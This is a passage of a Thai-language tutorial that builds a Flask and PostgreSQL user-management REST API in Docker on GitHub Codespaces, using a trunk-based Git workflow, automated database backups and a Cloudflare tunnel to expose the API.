- ส่งคืนข้อมูลผู้ใช้ที่อัพเดทแล้ว

# อัพเดทข้อมูลผู้ใช้ตาม id ที่ระบุ

# ตัวอย่างข้อมูลที่ต้องส่ง
{
    "name": "Nuttachot Promrit",
    "email": "nuttachot.new@email.com"
}

# ตัวอย่างผลลัพธ์
{
    "id": 1,
    "name": "Nuttachot Promrit",
    "email": "nuttachot.new@email.com"
}

DELETE /api/v1/users/{user_id}
- สำหรับลบผู้ใช้ตาม ID ที่ระบุ
- ต้องระบุ user_id ที่ต้องการลบใน Path
- ต้องมี Bearer Token ใน Header
- ถ้าไม่พบผู้ใช้จะ Return 404
- ส่งคืนข้อความยืนยันการลบสำเร็จ

# ลบผู้ใช้ตาม ID ที่ระบุ

# ตัวอย่างผลลัพธ์
{
    "message": "User deleted successfully"
}

GET /health
- สำหรับตรวจสอบการเชื่อมต่อกับฐานข้อมูล
- ไม่ต้องใช้ Bearer Token

# ตรวจสอบการเชื่อมต่อกับฐานข้อมูล

# ตัวอย่างผลลัพธ์ (กรณีปกติ)
{
    "status": "healthy",
    "database": "connected"
}

# ตัวอย่างผลลัพธ์ (กรณีมีปัญหา)
{
    "detail": "Database connection failed: error message"
}

Project นี้จะมีการพัฒนาบน Github Codespaces และ VS Code Editor ซึ่งเป็น Linux-based Environment สำหรับนักพัฒนาที่ง่ายในการทดลอง Deploy API และ Database Server บน Docker Container โดยจะมีการสร้าง Git Repository 3 Repo บน Github ได้แก่

1. userservice Repo สำหรับเก็บ Codebase ของ REST API
2. userdatabase Repo สำหรับเก็บ Codebase ของการ Config PostgreSQL
3. backend Repo สำหรับการสร้าง Codespace

นอกจากนี้ยังมีรูปแบบในการจัดการ Branch ใน Git ที่มีลักษณะการพัฒนา Code แบบรวมศูนย์บน Branch หลัก (main Branch) ที่เรียกว่า Trunk-Based Development ซึ่งหลาย ๆ บริษัท เช่น Google, Facebook, Netflix และ Amazon นำมาปรับใช้เพื่อให้สามารถพัฒนาและ Deploy Codeใหม่ ๆ ได้อย่างต่อเนื่องและรวดเร็ว

โดยนักพัฒนาทุกคนในทีมจะทำงานและ Merge Code เข้ามายัง Trunk โดยตรงอย่างสม่ำเสมอ ซึ่งต่างจาก Git flow ทั่วไปที่อาจมี Branch หลายระดับ เช่น main, develop หรือ feature Branch

ดังนั้นบนความนี้ไม่ใช่มีเนื้อหาเฉพาะการพัฒนา REST API เท่านั้น แต่ยังแสดงตัวอย่าง Workflow ของการพัฒนา Software แบบสมัยใหม่ที่เน้นการทำงานร่วมกันเป็นทีมด้วยแนวทางแบบ Trunk-Based Development ซึ่งผู้พัฒนาจะได้ใช้ VS Code ร่วมกับ Github Codespaces ในการทดสอบการ Deploy Software บน Linux-based Environment ก่อนนำขึ้น Production ต่อไป

สร้าง Github Codespaces

Codespaces เป็น Platform ที่ให้บริการนักพัฒนา Software ในรูปแบบของ Cloud-based จาก GitHub โดยเราสามารถสร้าง Environment ที่มีเครื่องมือและ Resource พร้อมใช้งานสำหรับการพัฒนา Software ได้อย่างรวดเร็ว นักพัฒนาสามารถสร้าง Codespace ที่เป็น Linux-based OS และเครื่องมือต่าง ๆ เช่น Git, Docker และ Python เป็นต้น

• ไปยัง github.com แล้ว Login

• กด New เพื่อสร้าง Repository ตั้งชื่อเป็น backend เลือกชนิด Repo แบบ Private และเลือก Add a README file แล้วกด Create repository

• เลือกเมนู Codespace

• กด New Codespace

• ที่หน้าสร้าง Codespace เลือก Repository เป็น backend จากที่สร้างไว้ แล้วเลือก Region และ Machine type ตามที่ต้องการ แล้วกด Create codespace

• Codespace จะเปิด VS Code บน Browser ให้ทำงาน ดู Version ของ OS ด้วยคำสั่งต่อไปนี้

cat /etc/os-release

เพื่อการใช้งาน Codespace และทดสอบ Code ที่ Seamless ขึ้น เหมือนการจำลอง Environment dev มาไว้บน Localhost เราจะรัน VS Code จากเครื่องเราเองโดยไม่ใช้ Browser แต่ก่อนอื่นให้ปิดหน้าต่าง VS Code บน Browser ก่อน ป้องกันการลืมปิด ซึ่ง Github จะนับจำนวนชั่วโมงการให้ Resource เราตาม Quota ที่มี (มีทั้งแบบ Free Plan และ GitHub Pro)

• ไปที่เมนู Codespace อีกครั้ง แล้วกดที่ปุ่ม 3 จุด

• เลือก Open in Visual Studio Code

• กด Allow

• เลือก Open

• ดู Version ของ Git และ Docker ด้วยคำสั่งต่อไปนี้

git version

docker version

Config PostgreSQL และ Deploy บน Docker Container

เราจะใช้แนวทางในการพัฒนา Software แบบ Trunk-Based Development (TBD) ซึ่งมีหลักการสำคัญ คือ

• การ Commit และ Merge บ่อย ๆ นักพัฒนาจะ Commit และ Merge การเปลี่ยนแปลงของตัวเองเข้ากับ Trunk (Branch หลัก) บ่อยครั้ง อาจจะเป็นรายวันหรือบ่อยกว่านั้น การรวม Code บ่อย ๆ ช่วยให้ทีมทำงานร่วมกันได้อย่างคล่องตัวและลดโอกาสการเกิด Merge Conflicts ขนาดใหญ่
• ขนาดงานที่เล็กและแตก Branch สั้น ๆ ใน TBD งานแต่ละชิ้นควรจะเล็กพอที่จะทำเสร็จได้ภายในระยะสั้น ๆ นักพัฒนาอาจแตก Branch ย่อยขึ้นมาเพื่อทำงานในบางงาน แต่ Branch ย่อยนั้นควรจะใช้เวลาไม่นานก่อนจะ Merge กลับไปยัง Trunk ไม่มี Branch ระยะยาว

โดยเราจะสร้าง userdatabase Repo สำหรับเก็บ Codebase ของการ Config PostgreSQL ที่มีโครงสร้าง Project ดังต่อไปนี้

.
├── README.md
├── backup
│   ├── Dockerfile
│   └── backup.sh
├── backups
├── docker
│   ├── Dockerfile
│   └── init.sql
├── .env
├── .gitignore
└── docker-compose.yml

• สร้าง Folder userdatabase เข้าไปใน Folder นี้แล้วเริ่มต้นใช้งาน Git ด้วยคำสั่งต่อไปนี้

git init

• ไปที่ Github.com สร้าง Git Repo ชื่อ userdatabase เลือกชนิด Repo แบบ Private แล้วกด Create repository

•  เลือก SSH แล้วกด Copy URL

• เชื่อมต่อ Codespace กับ Git Repo ด้วยคำสั่ง git remote add origin ตามด้วย URL ที่ได้ Copy มา เช่น

git remote add origin git@github.com:promritn/userdatabase.git

• สร้าง SSH Key บน Codespace สำหรับการ Push และ Pull Code กับ Git Repo ที่ได้เชื่อมต่อ โดยไม่ต้องป้อน Username และ Password ทุกครั้ง

สร้าง ssh-keygen
ssh-keygen -t ed25519 -C "your_email@example.com"

แสดง public key บน Linux
cat ~/.ssh/id_ed25519.pub

• ใช้คำสั่ง cat ~/.ssh/id_ed25519.pub เพื่อแสดง Public Key ดังเช่นตัวอย่างต่อไปนี้แล้ว Copy ไว้

ssh-ed25519 ABCAC3NzaC1lZFI1NTE3AAAAIMmPOcXyJu+c/2Ork3pmgBU9FBl1iwxBr97Bh1MxI6sB nuttachot@hotmail.com

• นำ Public Key ไปเพิ่มบน Github Repo โดยไปที่รูป Profile เลือก Your organizations เลือกเมนู SSH and GPG keys แล้วกด New SSH key

• ตั้งชื่อ userdatabase และนำ Public key ที่ Copy ไปวาง แล้วกด Add SSH key

• ยืนยันตัวตน

• กลับมาที่ Codespace สร้างไฟล์ README.md ใน Folder userdatabase

  touch README.md

• พิมพ์หัวข้อ PostgreSQL config แบบหัวเรื่องระดับ 1 ในไฟล์ README.md ด้วย Tag ของ Markdown แล้ว Save

# PostgreSQL config

• Commit เข้า Git ด้วยคำสั่งต่อไปนี้

git add .

git commit -m 'first commit'

• Push Code ที่ Commit ขึ้น Github Server

git push origin main

• ไปที่ Browser แล้ว Refresh หน้าต่าง userdatabase Repo จะเห็นหัวข้อ PostgreSQL config แบบตัวใหญ่

เราจะ Config PostgreSQL บน Branch ย่อย ซึ่งตามหลักการของ Trunk-Based Developmen แล้วนักพัฒนาควรจะสร้าง Branch ย่อยเฉพาะงานของตัวเอง (Short-Lived Branch) จาก Trunk ซึ่งงานควรมีขนาดเล็กและสามารถทำให้เสร็จได้ภายในเวลาอันสั้น (ไม่เกิน 1 วัน) เพื่อให้ง่ายต่อการ Merge กลับไปยัง Trunk อย่างรวดเร็ว

• สร้าง Short-Lived Branch ชื่อ feature/config-postgresql

git checkout -b feature/config-postgresql

• สร้างไฟล์และ Folder ของ Project ตามโครงสร้างดังต่อไปนี้

.
├── README.md
├── backup
│   ├── Dockerfile
│   └── backup.sh
├── backups
├── docker
│   ├── Dockerfile
│   └── init.sql
├── .env
├── .gitignore
└── docker-compose.yml

• แก้ไขไฟล์ docker-compose.yml สำหรับการ Deploy PosgreSQL, PGAdmin และ Backup Container

# docker-compose.yml

services:
  db:
    build: ./docker
    container_name: user_postgres
    environment:
      POSTGRES_DB: ${POSTGRES_DB}
      POSTGRES_USER: ${POSTGRES_USER}
      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    volumes:
      - postgres_data:/var/lib/postgresql/data
      - ./backups:/backups  # volume สำหรับเก็บไฟล์ backup
    ports:
      - "${POSTGRES_PORT}:5432"
    networks:
      - database_network
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER} -d ${POSTGRES_DB}"]
      interval: 5s
      timeout: 5s
      retries: 5
    restart: unless-stopped

  pgadmin:
    image: dpage/pgadmin4
    container_name: user_pgadmin
    environment:
      PGADMIN_DEFAULT_EMAIL: ${PGADMIN_DEFAULT_EMAIL}
      PGADMIN_DEFAULT_PASSWORD: ${PGADMIN_DEFAULT_PASSWORD}
    volumes:
      - pgadmin_data:/var/lib/pgadmin
    ports:
      - "${PGADMIN_PORT}:80"
    networks:
      - database_network
    restart: unless-stopped
    depends_on:
      - db

  backup:
    build: ./backup
    container_name: postgres_backup
    environment:
      POSTGRES_DB: ${POSTGRES_DB}
      POSTGRES_USER: ${POSTGRES_USER}
      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
      POSTGRES_HOST: db
      BACKUP_RETENTION_DAYS: 7  # เก็บ backup ไว้ 7 วัน
      BACKUP_SCHEDULE: "0 0 * * *"  # ทำ backup ทุกวันเวลาเที่ยงคืน
    volumes:
      - ./backups:/backups
    networks:
      - database_network
    depends_on:
      - db

networks:
  database_network:
    name: database_network
    driver: bridge

volumes:
  postgres_data:
  pgadmin_data:

• แก้ไขไฟล์ .env

# .env
POSTGRES_DB=postgres
POSTGRES_USER=postgres
POSTGRES_PASSWORD=postgres123
POSTGRES_PORT=5432
PGADMIN_DEFAULT_EMAIL=admin@admin.com
PGADMIN_DEFAULT_PASSWORD=admin123
PGADMIN_PORT=5050

• แก้ไขไฟล์ .gitignore

# .gitignore
.env

# Ignore backup files
/backups/
*.backup
*.backup.gz
*.dump
*.sql
*.gz

• แก้ไขไฟล์ Dockerfile ใน Folder docker

# Dockerfile
FROM postgres:17-alpine

# Copy initialization scripts
COPY init.sql /docker-entrypoint-initdb.d/

# Set locale (optional)
ENV LANG en_US.utf8

• แก้ไขไฟล์ init.sql ใน Folder docker

-- สร้างตาราง users
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    name VARCHAR(255) NOT NULL,
    email VARCHAR(255) NOT NULL UNIQUE,
    created_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP
);

-- สร้าง function สำหรับอัพเดท updated_at โดยอัตโนมัติ
CREATE OR REPLACE FUNCTION update_modified_column()
RETURNS TRIGGER AS $$
BEGIN
    NEW.updated_at = now();
    RETURN NEW;
END;
$$ language 'plpgsql';

-- สร้าง trigger สำหรับอัพเดท updated_at
CREATE TRIGGER update_users_modtime
    BEFORE UPDATE ON users
    FOR EACH ROW
    EXECUTE FUNCTION update_modified_column();

-- สร้าง indexes เพื่อเพิ่มประสิทธิภาพ
CREATE INDEX idx_users_email ON users(email);
CREATE INDEX idx_users_name ON users(name);

-- เพิ่มข้อมูลตัวอย่าง
INSERT INTO users (name, email) VALUES 
    ('ณัฐโชติ พรหมฤทธิ์', 'nuttachot@example.com'),
    ('สัจจาภรณ์ ไวจรรยา', 'sajjaporn@example.com'),
    ('สมศรี มีสุข', 'somsri@example.com');

• แก้ไขไฟล์ Dockerfile ใน Folder backup

# backup/Dockerfile
FROM postgres:17-alpine

# ติดตั้ง dependencies ที่จำเป็น
RUN apk add --no-cache \
    bash \
    curl \
    pigz \
    tar \
    dcron \
    tzdata

# Copy backup script
COPY backup.sh /backup.sh
RUN chmod +x /backup.sh

# สร้าง directory สำหรับ log
RUN mkdir -p /var/log/cron && \
    touch /var/log/cron/cron.log && \
    chmod 0644 /var/log/cron/cron.log

# Create a script to setup and run cron
RUN echo '#!/bin/sh' > /entrypoint.sh && \
    echo 'printenv | grep -v "no_proxy" >> /etc/environment' >> /entrypoint.sh && \
    echo 'crond -f -d 8 >> /var/log/cron/cron.log 2>&1' >> /entrypoint.sh && \
    chmod +x /entrypoint.sh

ENTRYPOINT ["/entrypoint.sh"]

• แก้ไขไฟล์ backup.sh ใน Folder backup

#!/bin/bash
# backup/backup.sh

# กำหนดตัวแปร
BACKUP_DIR="/backups"
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
BACKUP_FILE="backup_${TIMESTAMP}"

# สร้างโฟลเดอร์ backup ถ้ายังไม่มี
mkdir -p ${BACKUP_DIR}

# ทำ Database Backup
echo "Starting backup of PostgreSQL database: ${POSTGRES_DB}"
PGPASSWORD=${POSTGRES_PASSWORD} pg_dump -h ${POSTGRES_HOST} -U ${POSTGRES_USER} -d ${POSTGRES_DB} -F c -b -v -f "${BACKUP_DIR}/${BACKUP_FILE}.backup"

# บีบอัดไฟล์ backup
echo "Compressing backup file..."
pigz "${BACKUP_DIR}/${BACKUP_FILE}.backup"

# ลบไฟล์ backup เก่า
echo "Removing old backups..."
find ${BACKUP_DIR} -type f -name "*.backup.gz" -mtime +${BACKUP_RETENTION_DAYS} -delete

# ตรวจสอบสถานะการทำงาน
if [ $? -eq 0 ]; then
    echo "Backup completed successfully: ${BACKUP_FILE}.backup.gz"
else
    echo "Backup failed!"
    exit 1
fi

# สร้าง symlink ไปยัง backup ล่าสุด
ln -sf "${BACKUP_DIR}/${BACKUP_FILE}.backup.gz" "${BACKUP_DIR}/latest.backup.gz"

ก่อน Commit Code เข้า Git นักพัฒนาต้องทดสอบก่อนว่ามันทำงานได้

• Deploy PostgreSQL, PGAdmin และ Backup Container

docker-compose up -d

• ตรวจสอบ Container ที่ Deploy

docker-compose ps

• ดู Logs ของ 3 Container ที่รัน

docker-compose logs

• ทดลอง Backup Database

docker exec postgres_backup /backup.sh

• สำหรับการ Restore เราจะใช้คำสั่งดังต่อไปนี้

# Latest backup
docker exec -it user_postgres pg_restore -U [user] -d [dbname] -v /backups/latest.backup.gz

# Specific backup
docker exec -it user_postgres pg_restore -U [user] -d [dbname] -v /backups/backup_[timestamp].backup.gz

ทดลอง Query ข้อมูลผ่าน PG Admin ดังนี้

• ไปยัง  URL http://localhost:5050 ใส่ Username และ Password ตามที่ได้กำหนดไว้ในไฟล์ .env

• กด Add New Server

• ตั้งชื่อ Connection

• กำหนดค่า Connection ต่างๆ

• คลิ๊กขวาที่ postgres เลือก Query Tool

• ทดสอบ Query ข้อมูลใน Table users ด้วยคำสั่งต่อไปนี้ แล้วกดปุ่ม Play

select * from users

• เมื่อทดสอบการ Deploy, Backup Database และ Query ข้อมูลแล้วจึง Commit Code เข้า Git ด้วยคำสั่งต่อไปนี้

git add .

git commit -m 'config postgresql, backup container and pgadmin'

• ดู History ที่ Commit

git log --oneline

Rebase โดยนำโค้ดใน branch ของเรามาอัปเดตให้ตรงกับ Trunk ล่าสุด

• แต่ก่อน Rebase ควรดึงการเปลี่ยนแปลงล่าสุดจาก Trunk เพื่อให้แน่ใจว่า Branch ของเราอยู่ในสถานะล่าสุด เหมือนบน Github Server

git checkout main

git pull origin main

• Rebase เพื่อนำโค้ดใน Branch ของเรามา Update ให้ตรงกับ Trunk ล่าสุด

git checkout feature/config-postgresql

git rebase main

• เมื่อ Code ใน Branch feature/config-postgresql ตรงกับ Trank ล่าสุดแล้ว จึง Merge กลับไปยัง Trunk (ถ้ามี Conflict ตอน Rebase ให้แก้ไข Conflict ก่อน Merge)

git checkout main

git merge feature/config-postgresql

*อาจ Push Branch feature/config-postgresql ขึ้น Github Server เพื่อเปิด Pull Request (PR) ให้ทีมตรวจสอบก่อนก็ได้

**ขั้นตอนการแก้ไข Conflict หลังจาก Rebase

1. ดูไฟล์ที่เกิด Conflict
2. เปิดไฟล์ที่มี Conflict และแก้ไขความขัดแย้ง
3. บันทึกไฟล์ที่แก้ไขแล้ว
4. ใช้ git add กับไฟล์ที่แก้ไข
5. ใช้ git rebase --continue เพื่อดำเนินการ Rebase ต่อ
6. หากยังมี Conflict ให้ทำซ้ำขั้นตอนจนกว่าจะเสร็จสิ้น

ยกเลิกการ Rebase (ถ้าจำเป็น)
git rebase --abort

• Push Code ขึ้น Github Server

git push origin main

• ลบ Branch ย่อยที่เสร็จแล้ว

git branch -d feature/config-postgresql

• ดู History ทั้งหมด

git log --oneline

Trunk ของเราจะมี History เป็นเส้นตรงสวยงาม

พัฒนา API เชื่อมต่อกับ PostgreSQL และ Deploy บน Docker Container

เราจะสร้าง userservice Repo สำหรับเก็บ Codebase ของ REST API โดยมีโครงสร้างของ Project ดังต่อไปนี้

.
├── .env
├── .gitignore
├── Dockerfile
├── README.md
├── docker-compose.yml
├── main.py
└── requirements.txt

• สร้าง Folder userservice เข้าไปใน Folder นี้แล้วเริ่มต้นใช้งาน Git ด้วยคำสั่งต่อไปนี้

git init

• ไปที่ Github.com สร้าง Git Repo ชื่อ userservice เลือกชนิด Repo แบบ Private แล้วกด Create repository

• เลือก SSH แล้วกด Copy URL

• เชื่อมต่อ Codespace กับ Git Repo ด้วยคำสั่ง git remote add origin ตามด้วย URL ที่ได้ Copy มา เช่น

git remote add origin git@github.com:promritn/userservice.git

• สร้างไฟล์ README.md ใน Folder userservice

touch README.md

• พิมพ์หัวข้อ REST API Project แบบหัวเรื่องระดับ 1 ในไฟล์ README.md ด้วย Tag ของ Markdown แล้ว Save

# REST API Project

• Commit เข้า Git ด้วยคำสั่งต่อไปนี้

git add .

git commit -m 'first commit'

• Push Code ที่ Commit ขึ้น Github Server

git push origin main

สร้าง Short-Lived Branch ชื่อ feature/restapi-dev

git checkout -b feature/restapi-dev

• สร้างไฟล์และ Folder ของ Project ตามโครงสร้างดังต่อไปนี้

.
├── .env
├── .gitignore
├── Dockerfile
├── README.md
├── docker-compose.yml
├── main.py
└── requirements.txt

• แก้ไขไฟล์ docker-compose.yml

services:
  api:
    build: .
    ports:
      - "8000:8000"
    environment:
      - DB_USER=${DB_USER}
      - DB_PASSWORD=${DB_PASSWORD}
      - DB_NAME=${DB_NAME}
      - DB_HOST=host.docker.internal
      - DB_PORT=${DB_PORT:-5432}
      - API_TOKEN=${API_TOKEN}
    extra_hosts:
      - "host.docker.internal:host-gateway"
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:8000/health"]
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 5s
    restart: unless-stopped  # จะรีสตาร์ท container อัตโนมัติถ้า health check ไม่ผ่าน

• แก้ไขไฟล์ .env

# .env
API_PORT=8000
DB_USER=postgres
DB_PASSWORD=postgres123
DB_NAME=postgres
API_TOKEN=fjwfji3399

• แก้ไขไฟล์ .gitignore

# .gitignore
.env

• แก้ไขไฟล์ Dockerfile

FROM python:3.11-slim

WORKDIR /app

# ติดตั้ง system dependencies และ curl สำหรับ health check
RUN apt-get update && apt-get install -y \
    gcc \
    libpq-dev \
    curl \
    && rm -rf /var/lib/apt/lists/*

# คัดลอกไฟล์ requirements.txt
COPY requirements.txt .

# ติดตั้ง Python dependencies
RUN pip install --no-cache-dir -r requirements.txt

# คัดลอกโค้ดทั้งหมด
COPY . .

# แก้ปัญหา permission denied สำหรับ non-root user
RUN useradd -m myuser
RUN chown -R myuser:myuser /app
USER myuser

# รัน Flask ด้วย gunicorn
CMD ["gunicorn", "-b", "0.0.0.0:8000", "main:app", "--access-logfile", "-", "--error-logfile", "-"]

• แก้ไข main.py

from flask import Flask, request, jsonify, abort
from flask_httpauth import HTTPTokenAuth
from flask_cors import CORS
import psycopg2
import psycopg2.extras
import os

# ดึงค่า config จาก environment variables
DB_USER = os.getenv("DB_USER")
DB_PASSWORD = os.getenv("DB_PASSWORD")
DB_NAME = os.getenv("DB_NAME")
DB_HOST = os.getenv("DB_HOST", "localhost")  # ค่าเริ่มต้นคือ localhost
DB_PORT = os.getenv("DB_PORT", "5432")       # ค่าเริ่มต้นคือ 5432
API_TOKEN = os.getenv("API_TOKEN")

# สร้าง Flask app
app = Flask(__name__)

# ตั้งค่า CORS
CORS(app, resources={r"/api/v1/*": {"origins": "http://localhost:3000"}})

# สร้าง authentication instance
auth = HTTPTokenAuth(scheme='Bearer')

# ฟังก์ชันตรวจสอบ token
@auth.verify_token
def verify_token(token):
    return token == API_TOKEN

# ฟังก์ชันสำหรับเชื่อมต่อฐานข้อมูล
def get_db_connection():
    conn = psycopg2.connect(
        host=DB_HOST,
        port=DB_PORT,
        dbname=DB_NAME,
        user=DB_USER,
        password=DB_PASSWORD
    )
    return conn

# สร้าง API Blueprint สำหรับ version 1
from flask import Blueprint
api_v1 = Blueprint('api_v1', __name__, url_prefix='/api/v1')

# Routes ภายใต้ Blueprint api_v1
@api_v1.route('/users', methods=['GET'])
@auth.login_required
def get_users():
    """ดึงข้อมูลผู้ใช้ทั้งหมด"""
    conn = get_db_connection()
    cursor = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)
    cursor.execute('SELECT * FROM users')
    users = cursor.fetchall()
    cursor.close()
    conn.close()
    users_list = [dict(user) for user in users]
    return jsonify(users_list)

@api_v1.route('/users/<int:user_id>', methods=['GET'])
@auth.login_required
def get_user(user_id):
    """ดึงข้อมูลผู้ใช้ตาม ID"""
    conn = get_db_connection()
    cursor = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)
    cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))
    user = cursor.fetchone()
    cursor.close()
    conn.close()
    if not user:
        abort(404, description="ไม่พบผู้ใช้")
    return jsonify(dict(user))

@api_v1.route('/users', methods=['POST'])
@auth.login_required
def create_user():
    """สร้างผู้ใช้ใหม่"""
    data = request.get_json()
    name = data.get('name')
    email = data.get('email')
    if not name or not email:
        return jsonify({'error': 'Name and email are required'}), 400

    conn = get_db_connection()
    cursor = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)
    try:
        cursor.execute(
            'INSERT INTO users (name, email) VALUES (%s, %s) RETURNING *',
            (name, email)
        )
        new_user = cursor.fetchone()
        conn.commit()
    except psycopg2.errors.UniqueViolation:
        conn.rollback()
        cursor.close()
        conn.close()
        return jsonify({'error': 'อีเมลนี้ถูกใช้งานแล้ว'}), 400
    except Exception as e:
        conn.rollback()
        cursor.close()
        conn.close()
        abort(500, description="เกิดข้อผิดพลาดภายในเซิร์ฟเวอร์")
    cursor.close()
    conn.close()
    return jsonify(dict(new_user)), 201

@api_v1.route('/users/<int:user_id>', methods=['PUT'])
@auth.login_required
def update_user(user_id):
    """อัพเดทข้อมูลผู้ใช้"""
    data = request.get_json()
    name = data.get('name')
    email = data.get('email')
    if not name or not email:
        return jsonify({'error': 'Name and email are required'}), 400

    conn = get_db_connection()
    cursor = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)
    cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))
    user = cursor.fetchone()
    if not user:
        cursor.close()
        conn.close()
        abort(404, description="ไม่พบผู้ใช้")

    try:
        cursor.execute(
            'UPDATE users SET name = %s, email = %s WHERE id = %s RETURNING *',
            (name, email, user_id)
        )
        updated_user = cursor.fetchone()
        conn.commit()
    except psycopg2.errors.UniqueViolation:
        conn.rollback()
        cursor.close()
        conn.close()
        return jsonify({'error': 'อีเมลนี้ถูกใช้งานแล้ว'}), 400
    except Exception as e:
        conn.rollback()
        cursor.close()
        conn.close()
        abort(500, description="ไม่สามารถอัพเดทข้อมูลได้")
    cursor.close()
    conn.close()
    return jsonify(dict(updated_user))

@api_v1.route('/users/<int:user_id>', methods=['DELETE'])
@auth.login_required
def delete_user(user_id):
    """ลบผู้ใช้"""
    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))
    user = cursor.fetchone()
    if not user:
        cursor.close()
        conn.close()
        abort(404, description="ไม่พบผู้ใช้")
    try:
        cursor.execute('DELETE FROM users WHERE id = %s', (user_id,))
        conn.commit()
    except Exception as e:
        conn.rollback()
        cursor.close()
        conn.close()
        abort(500, description="เกิดข้อผิดพลาดภายในเซิร์ฟเวอร์")
    cursor.close()
    conn.close()
    return jsonify({"message": "ลบผู้ใช้สำเร็จ"})

# Health check route ที่ระดับ root (นอก blueprint)
@app.route('/health', methods=['GET'])
def health_check():
    """ตรวจสอบสถานะของ API และการเชื่อมต่อฐานข้อมูล"""
    try:
        conn = get_db_connection()
        cursor = conn.cursor()
        cursor.execute('SELECT 1')
        cursor.fetchone()
        cursor.close()
        conn.close()
        return jsonify({"status": "healthy", "database": "connected"})
    except Exception:
        abort(503, description="Database connection failed")

# ลงทะเบียน Blueprint
app.register_blueprint(api_v1)

แก้ไข requirement.txt

# requirements.txt

Flask==2.3.2
Flask-HTTPAuth==4.8.0
Flask-CORS==3.0.10
psycopg2-binary==2.9.7
python-dotenv==1.0.1
gunicorn==23.0.0

ก่อน Commit Code เข้า Git นักพัฒนาต้องทดสอบก่อนว่ามันทำงานได้

• Deploy API

docker-compose up -d

• ตรวจสอบ Container ที่ Deploy

docker-compose ps

• ดู Logs ของ Container ที่รัน

docker-compose logs

• ทดลองยิง API เส้น /health ผ่าน curl

curl http://localhost:8000/health

• ทดลองยิง API เส้น /health ผ่าน Postman

• ทดลองดึงข้อมูล users ทั้งหมดจาก Database ผ่าน Postman ด้วย Method GET (ต้องมี Bearer Token ใน Header)

http://localhost:8000/api/v1/users

• ทดลองดึงข้อมูล users คนที่ 1 จาก Database ผ่าน Postman ด้วย Method GET (ต้องมี Bearer Token ใน Header)

http://localhost:8000/api/v1/users/1

• ทดลองเพิ่ม users ใหม่ลง Database โดยรับข้อมูลแบบ JSON Format ผ่าน Postman ด้วย Method POST (ต้องมี Bearer Token ใน Header)

http://localhost:8000/api/v1/users

{
        "name": "apple",
        "email": "apple@email.com"
}

• ทดลองแก้ไข Email ของ User คนที่ 1 เป็น nuttachot@hotmail.com ผ่าน JSON Format ด้วย Method PUT (ต้องมี Bearer Token ใน Header)

http://localhost:8000/api/v1/users/1

{
        "name": "nuttachot promrit",
        "email": "nuttachot@hotmail.com"
}

• ทดลองลบ User คนที่ 3 ด้วย Method DELETE (ต้องมี Bearer Token ใน Header)

http://localhost:8000/api/v1/users/3

• เมื่อทดสอบการยิง API แต่ละเส้นแล้วจึง Commit Code เข้า Git ด้วยคำสั่งต่อไปนี้

git add .

git commit -m 'rest api dev'

ดู History ที่ Commit

git log --oneline

Rebase โดยนำโค้ดใน Branch ของเรามา Update ให้ตรงกับ Trunk ล่าสุด

• แต่ก่อน Rebase ควรดึงการเปลี่ยนแปลงล่าสุดจาก Trunk เพื่อให้แน่ใจว่า Branch ของเราอยู่ในสถานะล่าสุด เหมือนบน Github Server

git checkout main

git pull origin main

• Rebase เพื่อนำโค้ดใน Branch ของเรามา Update ให้ตรงกับ Trunk ล่าสุด

git checkout feature/restapi-dev

git rebase main

• เมื่อ Code ใน Branch feature/restapi-dev ตรงกับ Trank ล่าสุดแล้ว จึง Merge กลับไปยัง Trunk (ถ้ามี Conflict ให้แก้ไข Conflict ก่อน Merge)

git checkout main
git merge feature/restapi-dev

• Push Code ขึ้น Github Server

git push origin main

• ลบ Branch ย่อยที่เสร็จแล้ว

git branch -d feature/restapi-dev

• ดู History ทั้งหมด

git log --oneline

Expose API ให้เข้าถึงจาก Internet

• ติดตั้ง Cloudflared

sudo apt update

sudo wget -O cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64

sudo mv cloudflared /usr/local/bin/

sudo chmod +x /usr/local/bin/cloudflared

cloudflared --version

• สร้าง Cloudflare Tunnel

cloudflared tunnel --url http://0.0.0.0:8000

• Copy URL ที่ได้นำไปเปิดบน Browser โดยเพิ่ม Path /health เช่น

https://creates-ignored-digest-filled.trycloudflare.com/health